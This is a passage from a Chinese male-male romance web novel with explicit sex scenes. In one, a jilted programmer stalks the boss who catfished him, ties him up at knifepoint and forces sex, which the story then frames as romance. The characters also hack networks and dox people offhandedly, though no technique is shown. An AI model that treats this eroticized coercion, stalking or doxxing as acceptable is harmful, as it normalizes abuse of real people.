叶临快被烫到,意识到沈邵的反应,连忙看向门外的走廊,无奈道:“这里是医院,不太好。” 沈邵又去亲他,用可怜的语气磨他:“可是我难受,你知道的,这样时间久了会有毛病。” 叶临想到他一个人住在医院里,估计没人帮忙解决,只好硬着头皮帮忙。 沈邵能够清晰地感觉到叶临手心里的掌纹,以及力度的变化,呼吸都变得沉重。 他可不是单纯的新手,仅仅是这样,并不能满足,还要吃到更多的美味,才会满足。 叶临身上的衬衫乱了,突然鼓起来一大团。 在这个冬末的季节,窗外寒风萧萧,墙角的植物都枯萎,失去生机。 沈邵却尝到了美味的葡萄,皮薄馅大,甜甜的,吃得津津有味。 他是跑到葡萄架子下面吃的,没有刻意把葡萄摘下来,要保证葡萄的新鲜,仰头就吃。 风吹过来,葡萄架子开始晃悠,抖落许多叶子。 生活在城市里的沈邵,或许是太笨了,又或许是故意,面对乡下的葡萄,老半天了还是没有把葡萄咬下来,只是尝味。 叶临从小在农村长大,脑子比较聪明,知道沈邵这样吃是不对的,立即抬手去制止,嘴里骂着:“操,操,别,别” 沈邵像是没听见一样,直接把葡萄架子掀起来,吃个痛快。 叶临气红了脸,可是又没有力气反抗,只能任由这个蠢货胡作非为。 门口传来脚步声,更是令人紧张。 叶临不断地催促,就被沈邵搂到怀里抱着,再也说不出话。 好在没有医护人员进来,他们的恶行没有被发现。 只不过衣服要换新的了,已经全部皱掉,不成样子。 沈邵尝到了好处,动作就不再强硬,开始说软话:“你不来的这些日子里,我都是一个人忍着。” 叶临的脸颊全红了,呼吸不畅,本来想骂他刚刚有病,但是听到这句委屈的话,还是调整了语句:“你是病人,做这种事情不好。” 沈邵得了便宜就知道收敛,伏小做低地应允:“你说的对,我下次不这样了。刚刚就是气氛到位了,才忍不住。” 叶临打电话叫人送衣服过来,顺便收拾病房。 他在这里陪了沈邵四天,人事部那边打电话跟他抱怨,楚诏请病假不肯来上班。 请假条也写得很随意:心情不好,不想上班。 不就失个恋,居然耽误上班,真是岂有此理! 叶临要求人事部用合同威胁楚诏,催促楚诏快点来上班,不能随便请假。 冬日难得有晴天,小区的小孩和大人吵吵嚷嚷,还有狗叫声,大家都出来散步,享受难得的日光。 楚诏内心受到重创,心情低落,别说上班,就连电脑都不想打开。 同行们都打电话来催他,为什么不更新代码,不做生意。 他一概不理,只是每天用镜子照脸,想着怎么才能把自己整得好看。 今天好友江俊彦登门拜访,想跟他拿货,结果被拒绝。 江俊彦认识他十年了,第一次看到他这种憔悴的模样:“不是楚诏,你到底出啥事了,生意都不做?” 楚诏回想甜甜圈骂他丑,垮着脸问:“你说我长得很难看吗?” 江俊彦跟他的关系够铁,伸出手把他的脸量了又量:“我天,哥们你长得够好看了,怎么突然自卑了?” 楚诏把自己的网恋经历告诉他,不断地叹气:“如果我好看有钱,他应该就不会分手了吧。” 江俊彦听完,感觉朋友的脑子被门挤了,愤愤不平地骂:“照你这样说,你谈那个小男生就是拜金,就知道喜欢有钱富二代,根本不值得你喜欢!” 楚诏受不了朋友诋毁初恋:“他不是拜金,是我太穷了,满足不了他。都是我的错,如果我有钱有颜就好。” 江俊彦惊得下巴都要掉地上,难以置信成熟高智的楚诏会变成这个鬼样子,摇摇头感慨:“唉,你就是谈得太少了,遇到这种高手,所以招架不住。” 楚诏不服气:“他没有谈很多次,他说他初恋就是我。” 这个世界上没有比朋友变成恋爱脑更可怕的事情了! 江俊彦头疼得厉害,试着建议:“那你干脆查他的账号,找到他本人再追求一次好了。我就不信,哪个富二代还能比你帅!” 楚诏动过这个念头,但他的脑海里马上浮现出甜甜圈那张美得极致的脸,瞬间就有了罪恶感,不敢查。 江俊彦见他没反应,只好自己动手查,反正他们这种黑客,搞到信息是分分钟的事情。 与此同时,梵星的人事部又打电话催楚诏回来上班。 楚诏接到电话,发现对方要用合同威胁自己,本来就烦,干脆放狠话:“那你去起诉我好了,谁想去你们那个破公司!” “楚先生,如果违约的话,你要支付20亿的违约金,还请你认真考虑。” 什么,20亿? 楚诏迅速挂断电话,找出合同细看。 江俊彦花了十分钟查清楚:游戏账号是跟二道贩子买的号,而聊天的账号背后能查到很多任主人。 这明显就是有人买号,故意骗人。 江俊彦把账号持有人的信息整理成表格,递给旁边的楚诏看:“兄弟,你被骗了吧。这个账号前后有17个人持有过。 其中三个女生,14个男生。你看看着这些男生,哪个是你的网恋对象。” 楚诏也意识到不对劲,把合同递给他,神情严肃:“帮我请厉害的律师看看,这个合同的违约金居然有20亿。” 江俊彦马上动用人脉联系厉害的律师,知道结果后心沉到谷底:“不是哥们,你被这家叫梵星的公司坑了吧,合同里全是套,你怎么不看清楚再签?” 楚诏回忆起那天的情形:“那天我看到甜甜圈长得太好看了,就没有细想,鬼知道这个合同有问题。” 江俊彦顿悟,猛地拍桌:“美人计,不,美男计!你中了美男计啊!” 楚诏翻看这些男生的信息,长得丑和年龄太老都排除掉,居然只剩下叶临一个人。 偏偏叶临之前想聘请他,而且还是梵星的老总,甜甜圈也夸过叶临。 网恋对象,天价违约金,肯定跟叶临脱不了干系。 楚诏黑进梵星的内部网络,查了所有人,都没有任何人的颜值比得上甜甜圈。 江俊彦把叶临的所有信息都黑出来,看着脸啧啧感慨:“叶临这小子长得确实好看,把梁文乐和沈邵迷得神魂颠倒,还在订婚宴上大打出手,出了名的狐狸精!” 楚诏的脑子里灵光一闪,坐在电脑前面打开p图程序:“给我叶临的正脸照。” 江俊彦传了好几张过去,继续品味叶临的八卦,越看越觉得精彩。 叶临的正脸照在电脑屏幕里放大,拼接上黄色的围巾和白色羽绒服,以及兔子毛绒帽子。 到这里已经有了甜甜圈的雏形,但是还不够。 楚诏又给这张照片的肤色调白,戴上美瞳和睫毛,打腮红。 精致小巧的五官,白得几乎透明的肌肤,大而明亮的眼睛。 成图的瞬间,他整个人都瘫软在椅子上,久久说不出话。 江俊彦抬头注意到屏幕上的照片,张大了嘴,语气吞吐:“我去,这,这也太好看了吧,像日系美少年!” 楚诏盯着照片上的人,已经没有了最初的心动,只有滔天的恨意。 江俊彦凑近去看原始图层,发现是用叶临的正脸照p出来的,啧啧赞叹:“这小子五官底子真好,难怪能迷住那些富二代。” 楚诏:“不仅如此,他还很会骗人。” 江俊彦意识到刚刚为爱所困的楚诏彻底消失,浑身都散发着冷意,忍不住问:“你,你不为初恋伤心了?” 楚诏盯着照片看了很久,忽然冷笑起来。 他笑自己痴傻,笑叶临手段拙劣,笑他的美好初恋从从始至终都是个笑话,笑他的自卑和纯情。 江俊彦下意识地往后退,远离楚诏,还拢了肩:“我怎么感觉你现在想去杀人,阴气森森的。” 楚诏把梵星的那份合同收起来,已经想好怎么逼叶临就范。 入夜后,温度会下降到零度,积水的地面会冻成冰,泛着冷光。 从停车场去公寓的路不好走,风不断地吹打身上。 叶临忽然后悔回沈邵的公寓,应该直接去顾柘的房子。 高级小区,在停车场里坐电梯直接到家里,哪里需要在外面多走一段路。 可是都走到楼下了,就这样吧。 他抬头看了眼单元楼号牌,正打算进去,却感觉到背后有道阴冷的视线,立即往后看。 黑夜里,到处都是视线死角,无法辨别跟踪的人位于何处。 只能快点回家,才能保证安全。 叶临做好决定,加速跑进电梯里,迅速按关门键。 结果电梯门快要关闭的瞬间,有个穿着黑色连帽衫的高大男子闯进来,站在他旁边,低着头没说话。 这个男子戴着帽子,有口罩蒙脸,看不清长相。 叶临注意到他没按电梯键,出声问:“你去几楼啊?” 没有回答,只有死亡般的寂静。 电梯已经启动,狭小的空间里只有他们两个人。 想到刚刚被跟踪的感觉,叶临头皮发麻,心脏极速跳动。 不是吧,是连环杀手吗? 第55章 第55章“老,老公”…… 叶临能听见自己的心跳声,额角都冒出冷汗,默默地数着楼层。 听到电梯“叮”的一声,精神高度紧绷。 电梯门打开的瞬间,他就跑出去。 房间在左手拐角处,只需要输入指纹就能打开。 恐惧的情绪占据了他的大脑,手指按上门锁的时候都是颤抖。 门锁响起清脆的声音,自动打开。 叶临前脚刚跨进去,就感觉到一种熟悉的冷意,紧接着手臂就被按住。 不用回头,都知道是刚刚穿着连帽衫的男子站在身后,以一种不可抗拒的姿势禁锢住他。 “我,我可以给你钱,别,别杀我!”叶临的声音在发颤。他听说过,有些亡命之徒没钱的时候就会潜入中档小区里,勒索路费。 “我不要钱,要你的命。”男子的声音沙哑低沉,刀已经抵住腰部。 “别,别杀我,你要什么我都会答应。”叶临最怕死了,只要能活下来,让他做什么都愿意。 男子没回答,押着他进入房间里,反手关上门。 叶临的背后冷汗涔涔,步伐都是虚浮的,走几步路都要软倒。 男子就用刀子比着他的脖子,凑到耳边低声警告:“想死吗,走快点。” 叶临只好强行往前走,心里琢磨着逃跑的办法。 这种亡命之徒,身上不止管制刀具,很有可能有枪,绝对不能硬碰硬,只能智取。 先假装听话,分散歹徒的注意力,再趁机找机会逃跑报警。 想好办法,心里的慌张感减弱了不*少。 男子让他在沙发坐下来,紧接着就用绳索将他的手固定住。 叶临偷偷地摸了绳索的材质,是非常牢固的品类,不能强行扯开,但是腿没被固定,还有机会。 不知道是男子太过于自信了,还是经验不足,居然不把他的脚固定? 男子将刀对准眉心:“我是别人买凶来杀你的。” 叶临的脸色苍白,想起原著里的种种遭遇,惊道:“是,是顾柘吗?” 男子眼神疑惑,他明明看到叶临坐在顾柘的副驾驶座上,两个人的关系很好,怎么会怀疑顾柘? 叶临见他不说话,心中了然。 果然大反派就是大反派,被他气到,就花钱买凶暗害他,真是没道德! 既然如此,那他就不能死在这里,必须活下去,再报复顾柘。 “顾柘给了你多少钱,我给你十倍,放过我好不好?” “不是顾柘,你自己想想得罪了谁。” 男子用刀背沿着叶临的脸颊轮廓滑动,眼神玩味地打量,像是在看一只待宰的绵羊。 叶临这个人卑鄙无耻,但脸是真好看,顺滑精致,白皙无暇,堪比玉瓷。 刀背都是这样,不知道摸上去会是什么触感。 叶临不敢直视刀身上的银光,闭着眼想了想,颤着声音问:“是,是梁文乐吗?不至于吧,他应该不舍得杀我,之前还跑来找我。” 男子听说过叶临和梁文乐的事情,忍不住啧了一声:“男人挺多的啊。” 叶临睁开眼看男子,总感觉那双眼睛很熟悉,像是在哪里见过。 男子用刀背轻轻地拍他的脸:“再想想,你还勾搭了哪些男人?” 叶临摇摇头:“我哪里勾搭过男人,都是他们自己要扑上来,我可是直男。” 男子想到自己为甜甜圈神魂颠倒的那段时间,果然,他的爱在叶临眼里很廉价吧。 叶临从男子身上感觉到熟悉的怨气。 这种怨气以前在梁文乐,沈邵,顾泽和顾嘉致身上都见到过,只不过程度没有梁文乐那么强烈。 而且截至目前为止,雷雨夜梁文乐的怨气已经达到了巅峰,远远超过其他的几个男生。 这个男生比梁文乐低一些,但也非常强烈,到底是谁啊? 叶临想了想,轻声试探:“收买你的人,是,是我辜负过的男人吗?” 男人没说话,死死地盯着他,目光犹如利刃,划破衣裳,肌肤,掏出胸膛攫取心脏。 叶临感觉到强烈的恨意,大脑快速旋转,眼前的男人跟记忆中的某个人完全重叠,下意识地唤了一个名字:“你是楚诏!” 楚诏没有想到自己会被认出来,愣神了片刻,就被踹了一脚。 这一脚正中男性的要害,让他失去了片刻的反应能力。 叶临趁机站起来,朝着门口跑去,用上了50米冲刺的速度。 可楚诏还是扫腿将他绊倒,再强行制住。 比起陌生男人,楚诏这个名字就消除了恐惧感。 叶临脸贴着地板,不断地挣扎:“楚诏,你这样是私闯民宅,我要告你!” 楚诏摘下面罩和帽子,将他拽起来讽刺:“你刚刚很害怕吧,手都在发抖。” 叶临现在不恐惧,气红了脸,朝他吐口水:“呸!有本事,你就杀了我,你敢吗!” 楚诏把刀对准他的心窝:“你以为我不敢!” 叶临盯着他的眼睛看,大声笑起来。 实际上楚诏真不敢杀人,也不可能用刀伤害叶临,只是假装歹徒吓唬他。 叶临注意到,楚诏确实比以前瘦了,脸的轮廓更为明显,眼窝也深了,眼睛里还有淡淡的红血丝。 跟初见时的厌世完全不同,更像是饱受情伤,持续失眠。 居然真的会为一段网恋伤心,跑到这里蹲他,真是没救了。 叶临:“你不是说喜欢我,要跟我在一起吗,怎么还要把我绑起来。” 楚诏握紧手里的刀,瞪着他。 叶临又故作委屈地抱怨:“你快点放开我,我们还有复合的希望。你这样绑着我,让我难受的话,我们之间就再也没有可能了。” 楚诏怕自己冲动杀人,将刀子朝着远处扔去,怒吼道:“住嘴!叶临,你这个卑鄙无耻的混蛋,居然利用甜甜圈的身份骗我签合同!” 叶临刚刚被他吓到,心里还有怨气没有发泄,得意地笑起来:“哎呀,是我逼你签合同的吗?明明是你想跟我做同事,谈恋爱,才签合同的。” 楚诏常年宅家,见识的人都是直肠子,没有这么多弯弯绕绕,更不可能遇到像叶临这种虚伪狡诈的人。 面对这种嘲讽,他居然说不出话。 叶临是跪在地上,倾身靠近他,凑到耳边吹热气,再低声劝:“梵星的未来发展前景远远比你想象中的好,还记得我在论坛里跟你说的大数据机器人吗? 在未来都会实现,梵星要成为行业龙头。你来梵星工作,完全不亏。” 之前在网上听到甜甜圈的声音就觉得美妙,叶临的声音明明跟网络有差距,但是近距离听又是熟悉的感觉。 楚诏的耳尖泛红,半边身子都麻了。不仅如此,他还感觉到奇异的感觉,整个人都僵住,听不进一句话。 叶临很需要这个人才,继续加码劝说:“如果你不满意现在的待遇,我可以给你加,加到你满意为止。” 楚诏还是没有说话,像是一尊石像,脸颊红得厉害。 叶临察觉到到他的状态奇怪,目光下移才发现自己的膝盖压到了,不由得轻移,啧啧调侃:“差点忘记了,你是个雏儿,只是这样就有感觉了啊,哈哈哈哈!” 楚诏忍无可忍,伸手将他的嘴堵住。 想彻底捣烂,让他再也说不出气人的话。 可是很热,柔软如果冻,从未有过的感觉。 叶临只能呜呜咽咽,说不出话。他喉咙挺难受的,只能抬眼看楚诏。 房间里太亮了,俯视的角度,脸很小,眼睛格外地亮,里面仿佛有水光在晃动,头发丝是柔软的。 楚诏本来想毁坏他那张破嘴,可是现在却变了意味,轻轻的,不同角度的。 “咳咳咳咳!” 叶临感觉到不适,剧烈地咳嗽起来,脸颊泛红,整个人都像是醉了。 之前隔着屏幕,他想象不出甜甜圈的脸,现在完全跟脑子里的画面重合。 甜甜圈应该也是像叶临这样吧,媚眼如丝,呼吸灼热,直勾勾地看人。 楚诏抽回手,将他的后脑按住,沉声道:“之前不是说想帮我吗,现在你有机会了。” 叶临快要在这种浓烈的气味中窒息,偏头想反抗,又会强硬地掰回去。 “楚诏,你这个脑瘫,不是要杀我,你这算什么!” “少废话!” 楚诏原本是不舍得让他的甜甜圈做这种事情,那样肯定会伤到嗓子,甜甜圈还会哭出来。 可是换成叶临,他就舍得,恨不得让叶临嗓子哑了才好。 不是生涩的,技术娴熟。 果然勾搭了很多男人。 楚诏懊悔不已,无法理解之前的自己居然会迷恋上叶临扮演的甜甜圈,同时又忍不住沉沦到这陌生的欢愉之中。 他从来没有尝到过这种滋味,很快就投降。 叶临的脸颊更红,干呕起来,嫌弃地吐掉。 还没等他吐完,就被拽起来,扔到沙发上,因为重量而弹起来。 手腕上的绳索还没解开,磨得皮肤疼。 叶临抬脚去踢,却被牢牢地固定住,像是砧板上的鱼,任人宰割。 “楚诏,你!” 没等他骂完,就传来强烈的痛楚,逼得他直接哭出来,眼泪不断地落下。 楚诏没想到他会哭得这么狠,埋首去嘲讽:“我以为像你这种混蛋,应该百毒不侵,什么都不怕呢!” 太疼了,真的没办法忍。 叶临哭得眼睛红,嘴上还不肯饶人:“楚诏你有病啊!不是说恨我,那你现在在做什么,犯贱吗!” 楚诏作势要继续:“我就是要折磨你,要你痛苦,我快活。” 叶临怕惨了,大声叫起来:“操你大爷的,这样会死人的!!” 楚诏恶狠狠道:“我就是要你疼死,你这种没心没肺的骗子,活该被惩罚。” 叶临已经习惯做这种事,不怕被强迫,但他真的忍不了被楚诏折磨。 没办法,尊严哪有命重要,还是求饶吧。 叶临哽咽道:“楚,楚诏,我错了,求求你,不要这样对我,真的会死人的。” 楚诏来了兴趣,轻轻地拍他的脸:“现在知道错了,那你之前还骗我。” 叶临主动地蹭他的手心,用轻轻柔柔的声音讨好地道:“油,油在电视柜下面的抽屉里,你,你用那个吧。” 楚诏看他可怜兮兮的模样,生出了恶劣的想法,故意说道:“我被你害得这么惨,为什么要听你的?” 叶临在心里骂他几百遍,为了保住身体,还是学着网上的样子撒娇:“你,你之前说要轻轻的,不会让我疼的。” 楚诏想到之前的甜言蜜语,酸涩之感泛上来。 叶临看到他还是不为所动,知道自己今天难逃这一劫。 与其被折磨得流血,还不如劝楚诏好好对待他:“老,老公,轻轻的,好不好。” 楚诏听到他这声称呼,梦回入职前一夜,满心期待地见到甜甜圈,结果变成这种结局。 叶临面临生死危机的时候,总能爆发出强大的情绪,哭得越来越厉害,眼泪打湿衣服,透出轮廓。 “楚,楚诏对不起。我不应该骗你,但我是真心实意想请你来梵星工作。 如果你觉得我欺骗了你的感情,你也可以骗回去,不,不要这样折磨我好吗。” “我怎么骗回去?” “我,我跟你谈恋爱,就像以前一样对你好。你可以随意对待我,就当是报复。” 楚诏看着他眼睛红红的,像是可怜的小兔子,还是动了仁慈之心,抬手去摸脸颊:“你自己说的,我可以随意对待你。” 叶临倒吸一口冷气,想劝他用油。 结果还没开口,楚诏就朝着电视柜走去,蹲下来翻出油和套。 储备量很多,明显这个地方是叶临跟别人做过那种事情的地方。 光是想想,心里就酸得厉害。 楚诏握紧瓶子,朝着叶临走去。 叶临特别怕他不熟练害死自己,还出声指点,什么时候该做什么,怎么掌控力度,怎么寻找方位。 楚诏嘴上骂他“多事”,还是会下意识地听从,按照他说的做。 慢慢的,叶临的怀疑害怕的表情逐渐消失,取而代之的是眼神迷离,脸颊潮红,呼吸灼热。 感觉他彻底失去了力气,像是一滩化掉的奶油,弄脏了沙发,香香的,软软的。 楚诏还在发愣呢,就感觉到叶临的脚踝轻轻地蹭,腰侧泛痒。 低头去看,就看到那双水雾弥漫的眼睛,脸颊像是桃子的表面。 叶临轻声提醒:“可,可以了。” 楚诏有种被高手嘲笑的羞愧感,突然用力掐住,随心所欲地行动。 他是新手,毫无章法,技术青涩。 可是奈何先天外形条件过于优秀,微微弯总能轻易地调动。 叶临惊讶地发现,楚诏乱来都能找对方向,只是力度的控制力还需要再练练。 “哼” 楚诏本来以为自己在折磨人,结果听到叶临的轻声哼叫,像是过电一般,脑子不正常了。 这个混蛋,怎么能有这种反应? 叶临看着他,动了动双手,撒娇道:“解,解开,我要抱。” 楚诏低头想去嘲讽他,结果被亲了一下,彻底愣住。 手就不受控制地解开绳索,将叶临抱起来。 叶临搭着他的肩膀,在他耳边轻声指挥:“我,我喜欢左边一点。” 楚诏张嘴就想骂他,却被吻住,又顺从地满足叶临的要求。 叶临无法接受的时候,又会抓着楚诏的手臂,轻声求饶。 楚诏想到他刚刚的话,故意去咬他的耳垂,威胁道:“叫老公。” 叶临体会到了愉悦之感,脑子热乎乎的,像浆糊,顺着他的心思唤了一声:“老,老公” 楚诏听完他的称呼,浑身舒畅,就像是被打开了天灵盖,愿意疼惜他,听他的话,做个合格的好老公。 接下来的时间里,叶临变成了引导方,循循善诱,指导楚诏完成一场顺畅,彼此都快活的仪式。 他们相拥而憩,彼此都没说话。 楚诏看着头顶的吊灯,感受着怀里的温软,还在回味刚刚的感觉。 对于他来说,跟叶临做这种事情,无异于二十年天天喝粥吃清淡,突然尝到了油腻荤腥,难以自拔。 叶临恢复过来,感觉不舒服,就踹他一脚,吩咐道:“抱我去浴室洗澡。” 楚诏回过神来,想到自己是来惩罚叶临的,故意唱反调:“凭什么,你自己长脚不会去吗!” 操,这家伙真是吃软不吃硬! 这种事情不处理好,是会发烧的。 比起脸面,还是身体重要。 叶临只好放软语气,轻轻地抓他的手臂:“老公,抱我去嘛,一直这样,会发烧生病的。” 楚诏记起来了,他来见甜甜圈之前就查过相关资料,还把叶临抱起来,骂骂咧咧的:“下不为例,谁惯着你啊!” 叶临偏头亲他的脸颊,轻声笑起来:“老公惯着我啊。” 楚诏知道这家伙虚伪,满口谎言,但听到这声“老公”,真没招架之力,骂了一声就没有继续说话。 洗澡的过程中,叶临躺着指挥他,完全不需要动手,后面打了个哈欠,就睡过去。 楚诏把他抱出来,用柔软的浴巾擦干净,换上睡衣,再送到卧室里盖好被子,怕他冷,还调高空调温度。 做完这些,看着周围陌生的情景,又陷入了沉思。 他不是来报复叶临的吗? 为什么要跟叶临做这种事情,还照顾叶临? 楚诏搞不懂自己的想法,听到手机铃声,还是拿起来接通。 江俊彦担心这个兄弟搞不定狡诈的叶临,打电话询问情况:“怎么样,你报复他了吗?” 楚诏想了想自己吓唬叶临,逼迫叶临下跪那段:“报复了的,他很害怕,还哭着求我。” 江俊彦放心了:“那合同的事情你说清楚了吧,记得逼他辞退你,还可以领补偿。” 楚诏猛然惊醒,他来这里首要目的就是解决合同,其次才是报复叶临,怎么能忘记呢? 现在要把叶临吵醒,逼他辞退自己吗? 叶临盖着毛绒毯子,鼻尖和脸颊微红,露出的脖颈上面还有痕迹,头发凌乱,睫羽低垂着,看起来像个乖宝宝。 之前,他在网上就一直叫甜甜圈“宝宝”。 其实没有叫错,这长相值得这个称呼。 而且睡着的叶临,要比醒着的叶临顺眼很多,光是在旁边看着,心境都会宁静。 算了,还是不要吵醒他。 楚诏已经沉浸在房间里安适氛围中忘了神,还走到外面继续跟朋友讲电话。 江俊彦隔着手机都能感觉到兄弟的不对劲,又问了一次:“合同呢,你解决了吗,不会还没跟叶临说吧?” 叶临之前说真心实意地要聘请他,应该是实话。离开梵星的话,就跟叶临再也没有交集了。 其实合同上给出的薪资待遇和职位还可以吧,而且梵星确实有发展潜力。 真的要辞职吗? 楚诏犹豫不决,脑海里不断浮现出叶临的脸。 事到如今,以及不用区别甜甜圈和叶临两个人了。他们长得一样,说话方式也一样。 江俊彦见对方又沉默,心里有了猜测,大声道:“你小子不是被叶临迷上了吧,不肯离开梵星吧!” 楚诏才不会承认自己被叶临迷上,立即反驳:“才不是,我只是觉得离开梵星就没机会报复他了,所以在犹豫。” 江俊彦:“不是,离开梵星跟报复叶临之间有什么直接关联吗?你离开了照样能报复他,而且你之前不是说这是个垃圾公司,必须撇清关系吗?” 楚诏的理智告诉自己江俊彦说的是实话,可是失而复得的情绪又驱使他看向卧室里的叶临,停止思考:“反正你别管了,我有自己的计划。” 江俊彦想起叶临玩弄梁文乐和沈邵的战绩,惊觉好兄弟沦陷:“操,我就说你小子今天的声音怎么听着不对劲,合着你跟叶临做了那挡子事吧!” 楚诏的脸颊泛红,没有说话。 江俊彦感觉天塌了,寡了二十年的单纯好兄弟被情场高手钓了:“楚诏,你听我说,叶临虽然长得好看,但他这个人心眼坏,跟他搅和在一起的男人都没啥好下场啊,你可千万” 楚诏打断他的话,大声反驳:“我才没有被他迷住,我只是想呆在梵星,慢慢地报复他。你别说了,就这样。” 狗急了要跳墙,人急了就会加大音量掩饰心虚。 江俊彦听完他的话,还没开口就被挂了电话,而且怎么都拨不通电话,只好叹息兄弟要栽倒叶临手里。 叶临睡得很熟,都没感觉到旁边躺了个楚诏。 房间陷入黑暗之中,深夜万籁俱寂。 楚诏看着旁边的叶临,咬暗暗发誓,自己一定会报复这个混蛋。 结果下一刻,叶临就翻身,习惯性地往他怀里钻。 楚诏第一秒是抗拒的,可是闻到叶临身上的香味,没到犹豫到第三秒就把叶临搂进怀里抱着。 一夜无梦,多日来的失眠终于痊愈。 第56章 第56章“你比顾嘉致好” 叶临率先醒过来,他发现自己在楚诏怀里,嫌弃得撇嘴。 虽然习惯了每天早上醒来被不同的男生搂住,或是顾嘉致和顾柘,又或是梁文乐和沈邵,但还是无法接受楚诏。 他不会忘记,楚诏昨天晚上怎么扮作冷血杀手吓唬他,又是怎么逼他下跪,屈辱地做那种事情。 甚至,楚诏还想不用油,真是恶毒! 楚诏怎么能怪他骗人呢,应该反省自己,为什么容易上当受骗。 再说了,他算是给楚诏上了一课。从此楚诏就不敢网恋,还能获得梵星的好职位,多好的人生经验。 他明明就是楚诏的大恩人! 越想越生气,偏过头发现楚诏睡得正熟。 叶临伸出手腕,还能看见上面的红痕,下床准备报复。 他先把窗户打开,关闭空调,紧接着就扇了楚诏两巴掌。 楚诏惨叫一声,硬生生地被疼醒,看见叶临站在床边。 还没等他反应过来,冷水就兜头淋下来,浑身都湿透,冷风灌进来,仿佛要结冰。 “你个蠢猪还敢吓唬我,看我怎么收拾你!” “冻死你算了!” 叶临还需要健康的楚诏为自己打工赚钱,也不舍得打残,泼点冷水算了。 他骂完,就迅速退出房间。 楚诏梦想醒过来,是吻醒旁边的叶临,再一起吃顿美味的早餐。 结果叶临没有昨天可爱,甚至还对他恶语相向,泼他冷水。 果然,不能信这种混蛋的话。 楚诏下床去追,发现叶临已经跑到门口,冲他眨眼笑,再用力摔门,从外面反锁。 叶临有电子锁的权限,可以设定两天才能开锁。 他做完这些,心满意足地离开。 姓楚的崽种昨天晚上折磨他,就得尝尝他的回击。 楚诏在里面尝试十几分钟都打不开电子锁,暴力突破更是不可能,门的材质非常好,坚不可摧。 叶临真是个骗人的混蛋,昨天晚上还温声细语地叫“老公”,窝在他怀里要抱抱,今天就翻脸。 楚诏没办法,只好给朋友江俊彦打电话。 半个小时后,江俊彦拿着工具箱到达门口,花几分钟黑掉这个电子锁,看到里面的楚诏,忍不住嘲笑。 “呀,楚诏,你怎么被锁在里面了?这大早上的,不应该是跟叶临温存吗?” “……” “啊,我估计叶临是不想跟你温存,偷偷跑掉,还给把你关里面吧。都说,你玩不过他,非得掺和。” 楚诏刚想出声反驳朋友,就打了个喷嚏,身上的衣服都没换,只能回去了。 他关上门,朝着楼下走去,步履匆匆,不想听朋友的嘲讽。 江俊彦跟着他背后,不甘心地继续问:“那你现在打算怎么办,去法院起诉梵星吗? 我问过律师朋友,这种天价违约金一般不占理,你赢的概率很大。” 楚诏进入电梯,想到昨天晚上叶临被吓得瑟瑟发抖的样子,莫名欣喜,低声道:“不起诉,我就在梵星工作,报复他。” 江俊彦:“行吧,但我感觉你会在叶临这里吃苦头,还是远离比较好。” 楚诏瞥他一眼,不服气地反问:“你觉得我玩不过他?” 江俊彦知道他网恋被骗就想点头,可是看到朋友的表情难看,还是委婉地附和:“那倒不是,你肯定比他聪明。” 冬日的天色大都是阴沉的,偶尔会刮起大风,吹得衣服羽绒服鼓起来。 行人都拢紧衣服,低着头逆风而行。 叶临的怒气重,浑身燥热,只穿着薄大衣,都没感觉冷。 一路上都在咒骂楚诏,希望这小子吃到教训。 可是又怕楚诏不认真工作,研发部真的很需要。 思来想去,叶临还是打电话给人事部确认楚诏的情况。 对方告诉他,楚诏不打算辞职,明天就恢复正常的工作,还刻意强调想亲眼见见叶总。 不用想都知道这小子憋着坏。 叶临才不想去公司面对楚诏,还是让顾柘来应付吧。毕竟他们两个人的关系好,楚诏还欣赏顾柘。 想罢,叶临决定破天荒地给顾柘打电话。 顾柘的出差之旅并不顺利,昨天刚谈完生意,还没来得及休息,就要奔赴下一个地方。 他坐在酒店的沙发上休息,揉了揉太阳穴叹气。 其实不明白自己为什么要帮叶临管理梵星,毕竟小公司鱼龙混杂,事事都要亲力亲为。 而且,叶临之前还对他说了那么多狠话,越想心里越不平衡。 这时,手机铃声响起,还以为是刚刚的供应商,没想到是叶临的名字。 顾柘第一次接到叶临的电话,犹豫片刻还是拿起来接通。 “顾柘,你多久回来啊?”叶临的语气柔和,听起来像是有诈。 “怎么,梵星又出事了?” “没有,就是楚诏入职研发部,你去让他好好工作,别总是动不动就请假。”叶临说到这里,又想到楚诏跟踪他的事情。 现在是绝对不能去沈邵的公寓了,去别的地方住也有可能会被楚诏蹲守。要是有个顾柘在旁边,楚诏就不敢轻举妄动。 “楚诏?”顾柘回想起这个人,确实有些本事,可以带动研发部那些庸才:“可以,还有事吗?” “我”叶临扭捏了一会儿,想到被楚诏恐吓的经历,还是主动求和:“你能不能快点回来,我在家里等你。” 直觉告诉顾柘,这其中肯定发生了什么大事,才让叶临主动求他回去。 要是在电话里问叶临,也得不到真实的答案,还是得当面问清楚。 “哦,你居然会想我回去?”顾柘故意调侃一句,想试试他的反应。 “也不是想你,就是,就是我最近被人跟踪,上次差点就没命了。”叶临故意把事情说的严重:“我一个人呆在家里不安全,你回来安全一点。 你想想啊,要是我死了,梵星就完蛋了,所以你得快点回来保护我。” 其实梵星有没有叶临都不重要,但是都怕得主动恳求庇护,确实要回去了。 但是顾柘记恨叶临上次在商场气他,就是不肯立即应下,非要迂回。 “那某人之前还说顾嘉致比我好,害怕就去找顾嘉致啊,找我做什么?” “你!”叶临好想破口大骂,可是他真怕自己被楚诏暗算。 毕竟他不舍得整死楚诏这个人才,楚诏舍得整死他啊! 算了算了,一切都是大局考虑,说点屁话哄哄顾柘也行。 “顾嘉致没有你会管理公司,也没有你可靠,更没有你有安全感,所以我才找你的。” 叶临没有夹嗓子说完这段话,都快要被自己恶心吐了。 进了顾柘的公寓,在沙发坐下来,拍自己的照片发过去。 “我现在就在家里等你,到底来不来啊!”他说到这里,已经演不下去,暴露急躁的脾气,命令式地要求顾柘。 不知道为什么,他面对顾柘的时候,就是容易不耐烦,懒得表演。可能是因为顾柘知道他的本性,没必要多加掩饰。 顾柘看着照片里的叶临,穿着薄外套,应该是刚从外面回来,脸颊都被冻红了,忍不住叮嘱:“外面天气冷,出去记得多穿点,小心感冒。” 叶临快要憋不住火气,大声质问:“靠!你到底回不回来!” 顾柘的语气漫不经心:“可是我很忙,待会儿要去别的市。” 叶临冷哼一声:“行,你发地址,我订机票过去,顺便监督你有没有好好工作!” 这就不行,出差太累了。 要是换成叶临,肯定才过一个小时就要抱怨辛苦,还会用枕头砸他,要求快点休息。 顾柘舍不得叶临吃这份苦,果断订了机票:“三天后我就回去,给你请了24小时的专业保镖守在门口,你不出门就安全了。” 叶临听到专业保镖,耳朵像是兔子立起来。 